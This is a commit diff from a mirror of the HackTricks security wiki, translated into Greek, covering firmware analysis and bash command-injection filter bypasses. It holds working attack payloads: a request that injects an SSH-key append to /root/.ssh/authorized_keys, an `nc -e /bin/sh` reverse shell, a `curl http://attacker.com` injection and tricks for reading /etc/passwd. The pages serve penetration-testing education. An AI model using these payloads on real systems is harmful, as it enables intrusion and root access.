mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/hardware-physical-access/firmware-analysis/README.md',
This commit is contained in:
parent
e1543d81fa
commit
5d932973ff
@ -16,7 +16,7 @@
|
||||
- Μετρικές κώδικα και τοποθεσίες πηγής
|
||||
- Εξωτερικές βιβλιοθήκες και τύπους αδειών
|
||||
- Ιστορικά ενημερώσεων και ρυθμιστικές πιστοποιήσεις
|
||||
- Αρχιτεκτονικά και ροές διαγράμματα
|
||||
- Αρχιτεκτονικά και ροογράμματα
|
||||
- Αξιολογήσεις ασφαλείας και αναγνωρισμένες ευπάθειες
|
||||
|
||||
Για αυτό το σκοπό, τα εργαλεία **ανοιχτής πηγής (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων στοιχείων λογισμικού ανοιχτής πηγής μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmle’s LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
|
||||
@ -48,9 +48,9 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E <bin>`, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιον τρόπο).
|
||||
Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E <bin>`, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιο τρόπο).
|
||||
|
||||
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξαγάγετε **αρχεία που είναι ενσωματωμένα μέσα στο firmware**:
|
||||
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξάγετε **αρχεία που είναι ενσωματωμένα μέσα στο firmware**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
@ -60,12 +60,12 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
|
||||
### Λήψη του Συστήματος Αρχείων
|
||||
|
||||
Με τα προηγούμενα σχολιασμένα εργαλεία όπως το `binwalk -ev <bin>` θα έπρεπε να έχετε μπορέσει να **εξαγάγετε το σύστημα αρχείων**.\
|
||||
Με τα προηγούμενα εργαλεία όπως το `binwalk -ev <bin>` θα έπρεπε να έχετε μπορέσει να **εξάγετε το σύστημα αρχείων**.\
|
||||
Το Binwalk συνήθως το εξάγει μέσα σε ένα **φάκελο που ονομάζεται όπως ο τύπος του συστήματος αρχείων**, ο οποίος συνήθως είναι ένας από τους εξής: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Χειροκίνητη Εξαγωγή Συστήματος Αρχείων
|
||||
|
||||
Μερικές φορές, το binwalk δεν θα **έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε την απόσταση του συστήματος αρχείων και να carve το συμπιεσμένο σύστημα αρχείων** από το δυαδικό και **χειροκίνητα να εξαγάγετε** το σύστημα αρχείων σύμφωνα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα.
|
||||
Μερικές φορές, το binwalk **δεν θα έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε την απόσταση του συστήματος αρχείων και να carve το συμπιεσμένο σύστημα αρχείων** από το δυαδικό και **να εξάγετε χειροκίνητα** το σύστημα αρχείων σύμφωνα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα.
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -77,7 +77,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
Εκτελέστε την παρακάτω **εντολή dd** για την εξαγωγή του συστήματος αρχείων Squashfs.
|
||||
Εκτελέστε την παρακάτω **dd εντολή** για την εξαγωγή του συστήματος αρχείων Squashfs.
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
@ -87,7 +87,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
Εναλλακτικά, η παρακάτω εντολή θα μπορούσε επίσης να εκτελεστεί.
|
||||
Εναλλακτικά, η παρακάτω εντολή μπορεί επίσης να εκτελεστεί.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
@ -126,53 +126,53 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με το `binwalk -E <bin>`. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδεικνύει πιθανή κρυπτογράφηση ή συμπίεση.
|
||||
Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με `binwalk -E <bin>`. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδεικνύει πιθανή κρυπτογράφηση ή συμπίεση.
|
||||
|
||||
Για την εξαγωγή **ενσωματωμένων αρχείων**, προτείνονται εργαλεία και πόροι όπως η τεκμηρίωση **file-data-carving-recovery-tools** και το **binvis.io** για επιθεώρηση αρχείων.
|
||||
|
||||
### Εξαγωγή του Συστήματος Αρχείων
|
||||
|
||||
Χρησιμοποιώντας το `binwalk -ev <bin>`, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω απουσίας μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων:
|
||||
Χρησιμοποιώντας `binwalk -ev <bin>`, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω έλλειψης μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
Μετά, ανάλογα με τον τύπο του filesystem (π.χ., squashfs, cpio, jffs2, ubifs), χρησιμοποιούνται διαφορετικές εντολές για την χειροκίνητη εξαγωγή των περιεχομένων.
|
||||
Μετά, ανάλογα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, cpio, jffs2, ubifs), χρησιμοποιούνται διαφορετικές εντολές για την χειροκίνητη εξαγωγή των περιεχομένων.
|
||||
|
||||
### Ανάλυση Filesystem
|
||||
### Ανάλυση Συστήματος Αρχείων
|
||||
|
||||
Με το filesystem εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, scripts εκκίνησης και μεταγλωττισμένα δυαδικά αρχεία για ανάλυση εκτός σύνδεσης.
|
||||
Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δαίμονες δικτύου, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά για ανάλυση εκτός σύνδεσης.
|
||||
|
||||
**Κύριες τοποθεσίες** και **αντικείμενα** προς επιθεώρηση περιλαμβάνουν:
|
||||
|
||||
- **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρηστών
|
||||
- Πιστοποιητικά SSL και κλειδιά στο **etc/ssl**
|
||||
- Αρχεία ρυθμίσεων και scripts για πιθανές ευπάθειες
|
||||
- Ενσωματωμένα δυαδικά αρχεία για περαιτέρω ανάλυση
|
||||
- Κοινές διαδικτυακές υπηρεσίες και δυαδικά αρχεία IoT συσκευών
|
||||
- Αρχεία ρυθμίσεων και σεναρίων για πιθανές ευπάθειες
|
||||
- Ενσωματωμένα δυαδικά για περαιτέρω ανάλυση
|
||||
- Κοινές διαδικτυακές υπηρεσίες και δυαδικά IoT συσκευών
|
||||
|
||||
Πολλά εργαλεία βοηθούν στην αποκάλυψη ευαίσθητων πληροφοριών και ευπαθειών εντός του filesystem:
|
||||
Πολλά εργαλεία βοηθούν στην αποκάλυψη ευαίσθητων πληροφοριών και ευπαθειών εντός του συστήματος αρχείων:
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) και [**Firmwalker**](https://github.com/craigz28/firmwalker) για αναζήτηση ευαίσθητων πληροφοριών
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) για ολοκληρωμένη ανάλυση firmware
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση
|
||||
|
||||
### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά Αρχεία
|
||||
### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά
|
||||
|
||||
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά αρχεία που βρίσκονται στο filesystem πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά αρχεία Unix και το **PESecurity** για δυαδικά αρχεία Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών αρχείων που θα μπορούσαν να εκμεταλλευτούν.
|
||||
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά που βρίσκονται στο σύστημα αρχείων πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά Unix και το **PESecurity** για δυαδικά Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών που θα μπορούσαν να εκμεταλλευτούν.
|
||||
|
||||
## Προσομοίωση Firmware για Δυναμική Ανάλυση
|
||||
|
||||
Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του root filesystem ή συγκεκριμένων δυαδικών αρχείων σε μια συσκευή με αντίστοιχη αρχιτεκτονική και endianness, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
|
||||
Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών σε μια συσκευή με αντίστοιχη αρχιτεκτονική και εντοπισμό, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
|
||||
|
||||
### Προσομοίωση Μεμονωμένων Δυαδικών Αρχείων
|
||||
### Προσομοίωση Μεμονωμένων Δυαδικών
|
||||
|
||||
Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση του endianness και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη.
|
||||
Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση του εντοπισμού και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη.
|
||||
|
||||
#### Παράδειγμα με Αρχιτεκτονική MIPS
|
||||
|
||||
Για να προσομοιωθεί ένα δυαδικό αρχείο αρχιτεκτονικής MIPS, μπορεί κανείς να χρησιμοποιήσει την εντολή:
|
||||
Για να προσομοιωθεί ένα δυαδικό αρχιτεκτονικής MIPS, μπορεί να χρησιμοποιηθεί η εντολή:
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
@ -192,7 +192,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
|
||||
## Δυναμική Ανάλυση στην Πράξη
|
||||
|
||||
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα προσομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται η πρόσβαση στο shell του λειτουργικού συστήματος και στο σύστημα αρχείων. Η προσομοίωση μπορεί να μην μιμείται τέλεια τις αλληλεπιδράσεις υλικού, απαιτώντας περιστασιακές επανεκκινήσεις προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάσει το σύστημα αρχείων, να εκμεταλλευτεί τις εκτεθειμένες ιστοσελίδες και τις υπηρεσίες δικτύου, και να εξερευνήσει τις ευπάθειες του bootloader. Οι δοκιμές ακεραιότητας firmware είναι κρίσιμες για την αναγνώριση πιθανών ευπαθειών backdoor.
|
||||
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα προσομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται η πρόσβαση στο shell του OS και του filesystem. Η προσομοίωση μπορεί να μην μιμείται τέλεια τις αλληλεπιδράσεις του υλικού, απαιτώντας περιστασιακές επανεκκινήσεις προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάσει το filesystem, να εκμεταλλευτεί τις εκτεθειμένες ιστοσελίδες και υπηρεσίες δικτύου, και να εξερευνήσει τις ευπάθειες του bootloader. Οι δοκιμές ακεραιότητας firmware είναι κρίσιμες για την αναγνώριση πιθανών ευπαθειών backdoor.
|
||||
|
||||
## Τεχνικές Ανάλυσης σε Χρόνο Εκτέλεσης
|
||||
|
||||
@ -206,10 +206,53 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
|
||||
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προ-ρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία.
|
||||
|
||||
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
|
||||
## Προετοιμασμένα OS για ανάλυση Firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προ-ρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 με προφορτωμένα εργαλεία δοκιμών ασφάλειας firmware.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 προφορτωμένο με εργαλεία δοκιμών ασφάλειας firmware.
|
||||
|
||||
## Επιθέσεις Υποβάθμισης Firmware & Ανασφαλείς Μηχανισμοί Ενημέρωσης
|
||||
|
||||
Ακόμα και όταν ένας προμηθευτής εφαρμόζει ελέγχους κρυπτογραφικής υπογραφής για εικόνες firmware, **η προστασία από υποβάθμιση (rollback) εκλείπει συχνά**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο την υπογραφή με μια ενσωματωμένη δημόσια κλειδί αλλά δεν συγκρίνει την *έκδοση* (ή έναν μονοτονικό μετρητή) της εικόνας που αναβοσβήνει, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που φέρει ακόμα μια έγκυρη υπογραφή** και έτσι να επαναφέρει τις ευπάθειες που έχουν διορθωθεί.
|
||||
|
||||
Τυπική ροή επίθεσης:
|
||||
|
||||
1. **Αποκτήστε μια παλαιότερη υπογεγραμμένη εικόνα**
|
||||
* Αποκτήστε την από την δημόσια πύλη λήψης του προμηθευτή, CDN ή ιστότοπο υποστήριξης.
|
||||
* Εξαγάγετε την από συνοδευτικές εφαρμογές κινητών/επιτραπέζιων υπολογιστών (π.χ. μέσα σε ένα Android APK κάτω από `assets/firmware/`).
|
||||
* Ανακτήστε την από τρίτους αποθετήρια όπως το VirusTotal, αρχεία του διαδικτύου, φόρουμ κ.λπ.
|
||||
2. **Ανεβάστε ή εξυπηρετήστε την εικόνα στη συσκευή** μέσω οποιουδήποτε εκτεθειμένου καναλιού ενημέρωσης:
|
||||
* Web UI, API εφαρμογής κινητού, USB, TFTP, MQTT, κ.λπ.
|
||||
* Πολλές συσκευές IoT καταναλωτών εκθέτουν *μη αυθεντικοποιημένα* HTTP(S) endpoints που δέχονται Base64-encoded firmware blobs, τα αποκωδικοποιούν στην πλευρά του διακομιστή και ενεργοποιούν την ανάκτηση/αναβάθμιση.
|
||||
3. Μετά την υποβάθμιση, εκμεταλλευτείτε μια ευπάθεια που έχει διορθωθεί στην νεότερη έκδοση (για παράδειγμα, ένα φίλτρο εντολών που προστέθηκε αργότερα).
|
||||
4. Προαιρετικά αναβοσβήστε την τελευταία εικόνα πίσω ή απενεργοποιήστε τις ενημερώσεις για να αποφύγετε την ανίχνευση μόλις αποκτηθεί η επιμονή.
|
||||
|
||||
### Παράδειγμα: Εκτέλεση Εντολών Μετά την Υποβάθμιση
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
Στο ευάλωτο (υποβαθμισμένο) firmware, η παράμετρος `md5` συνενώνεται απευθείας σε μια εντολή shell χωρίς απολύμανση, επιτρέποντας την εισαγωγή αυθαίρετων εντολών (εδώ – ενεργοποίηση πρόσβασης root με βάση το SSH key). Οι μεταγενέστερες εκδόσεις firmware εισήγαγαν ένα βασικό φίλτρο χαρακτήρων, αλλά η απουσία προστασίας από υποβάθμιση καθιστά την επιδιόρθωση άσκοπη.
|
||||
|
||||
### Εξαγωγή Firmware Από Κινητές Εφαρμογές
|
||||
|
||||
Πολλοί προμηθευτές συσκευάζουν πλήρεις εικόνες firmware μέσα στις συνοδευτικές κινητές εφαρμογές τους, ώστε η εφαρμογή να μπορεί να ενημερώνει τη συσκευή μέσω Bluetooth/Wi-Fi. Αυτά τα πακέτα αποθηκεύονται συνήθως χωρίς κρυπτογράφηση στο APK/APEX κάτω από διαδρομές όπως `assets/fw/` ή `res/raw/`. Εργαλεία όπως το `apktool`, το `ghidra`, ή ακόμα και το απλό `unzip` σας επιτρέπουν να εξάγετε υπογεγραμμένες εικόνες χωρίς να αγγίξετε το φυσικό υλικό.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Λίστα Ελέγχου για την Αξιολόγηση Λογικής Ενημέρωσης
|
||||
|
||||
* Είναι η μεταφορά/αυθεντικοποίηση του *endpoint ενημέρωσης* επαρκώς προστατευμένη (TLS + αυθεντικοποίηση);
|
||||
* Συγκρίνει η συσκευή **αριθμούς εκδόσεων** ή έναν **μονοτονικό μετρητή αντεπίθεσης** πριν από την αναβάθμιση;
|
||||
* Επαληθεύεται η εικόνα μέσα σε μια ασφαλή αλυσίδα εκκίνησης (π.χ. υπογραφές που ελέγχονται από κώδικα ROM);
|
||||
* Εκτελεί ο κώδικας του χρήστη επιπλέον ελέγχους εγκυρότητας (π.χ. επιτρεπόμενος χάρτης κατατμήσεων, αριθμός μοντέλου);
|
||||
* Επαναχρησιμοποιούν οι ροές *μερικής* ή *αντίγραφης* ενημέρωσης την ίδια λογική επικύρωσης;
|
||||
|
||||
> 💡 Εάν λείπει οποιοδήποτε από τα παραπάνω, η πλατφόρμα είναι πιθανό να είναι ευάλωτη σε επιθέσεις αντεπίθεσης.
|
||||
|
||||
## Ευάλωτο firmware για πρακτική
|
||||
|
||||
@ -232,6 +275,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
## Εκπαίδευση και Πιστοποίηση
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Συνήθεις Παράκαμψεις Περιορισμών
|
||||
## Συνηθισμένες Παράκαμψεις Περιορισμών
|
||||
|
||||
### Αντίστροφη Σκηνή
|
||||
```bash
|
||||
@ -105,7 +105,7 @@ echo "ls\x09-l" | bash
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Παράκαμψη της κάθετης και της οριζόντιας γραμμής
|
||||
### Παράκαμψη της αντίστροφης και της κανονικής κάθετης γραμμής
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
@ -145,7 +145,7 @@ echo ${PATH:0:1} #/
|
||||
### Builtins
|
||||
|
||||
Σε περίπτωση που δεν μπορείτε να εκτελέσετε εξωτερικές συναρτήσεις και έχετε πρόσβαση μόνο σε ένα **περιορισμένο σύνολο builtins για να αποκτήσετε RCE**, υπάρχουν μερικά χρήσιμα κόλπα για να το κάνετε. Συνήθως **δεν θα μπορείτε να χρησιμοποιήσετε όλα** τα **builtins**, οπότε θα πρέπει να **γνωρίζετε όλες τις επιλογές σας** για να προσπαθήσετε να παρακάμψετε τη φυλακή. Ιδέα από [**devploit**](https://twitter.com/devploit).\
|
||||
Πρώτα απ' όλα, ελέγξτε όλα τα [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Στη συνέχεια, εδώ έχετε μερικές **συστάσεις**:
|
||||
Πρώτα απ' όλα ελέγξτε όλα τα [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Στη συνέχεια, εδώ έχετε μερικές **συστάσεις**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
@ -202,7 +202,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Παράκαμψη πιθανών regex
|
||||
### Παράκαμψη πιθανών regexes
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
@ -294,7 +294,7 @@ ln /f*
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Παράκαμψη Read-Only/Noexec/Distroless
|
||||
## Read-Only/Noexec/Distroless Bypass
|
||||
|
||||
Αν βρίσκεστε μέσα σε ένα σύστημα αρχείων με τις **προστασίες read-only και noexec** ή ακόμα και σε ένα distroless container, υπάρχουν ακόμα τρόποι να **εκτελέσετε αυθαίρετους δυαδικούς κωδικούς, ακόμα και ένα shell!:**
|
||||
|
||||
@ -302,17 +302,39 @@ ln /f*
|
||||
bypass-fs-protections-read-only-no-exec-distroless/
|
||||
{{#endref}}
|
||||
|
||||
## Παράκαμψη Chroot & άλλων Jails
|
||||
## Chroot & other Jails Bypass
|
||||
|
||||
{{#ref}}
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## Space-Based Bash NOP Sled ("Bashsledding")
|
||||
|
||||
Όταν μια ευπάθεια σας επιτρέπει να ελέγξετε εν μέρει ένα επιχείρημα που τελικά φτάνει στο `system()` ή σε άλλο shell, μπορεί να μην γνωρίζετε την ακριβή απόσταση στην οποία η εκτέλεση αρχίζει να διαβάζει το payload σας. Οι παραδοσιακοί NOP sleds (π.χ. `\x90`) **δεν** λειτουργούν στη σύνταξη του shell, αλλά το Bash θα αγνοήσει αβλαβώς τα αρχικά κενά πριν εκτελέσει μια εντολή.
|
||||
|
||||
Επομένως, μπορείτε να δημιουργήσετε ένα *NOP sled για το Bash* προσθέτοντας ένα μακρύ σύνολο κενών ή χαρακτήρων tab πριν από την πραγματική σας εντολή:
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
# 16× spaces ───┘ ↑ real command
|
||||
```
|
||||
Αν μια αλυσίδα ROP (ή οποιαδήποτε πρωτοβουλία διαφθοράς μνήμης) προσγειώσει τον δείκτη εντολών οπουδήποτε μέσα στο μπλοκ χώρου, ο αναλυτής Bash απλά παραλείπει τα κενά μέχρι να φτάσει στο `nc`, εκτελώντας την εντολή σας αξιόπιστα.
|
||||
|
||||
Πρακτικές περιπτώσεις χρήσης:
|
||||
|
||||
1. **Μπλοκ διαμόρφωσης που είναι χαρτογραφημένα στη μνήμη** (π.χ. NVRAM) που είναι προσβάσιμα σε διάφορες διεργασίες.
|
||||
2. Καταστάσεις όπου ο επιτιθέμενος δεν μπορεί να γράψει NULL bytes για να ευθυγραμμίσει το payload.
|
||||
3. Ενσωματωμένες συσκευές όπου είναι διαθέσιμο μόνο το BusyBox `ash`/`sh` – επίσης αγνοούν τα αρχικά κενά.
|
||||
|
||||
> 🛠️ Συνδυάστε αυτό το κόλπο με ROP gadgets που καλούν το `system()` για να αυξήσετε δραματικά την αξιοπιστία της εκμετάλλευσης σε δρομολογητές IoT με περιορισμένη μνήμη.
|
||||
|
||||
## Αναφορές & Περισσότερα
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
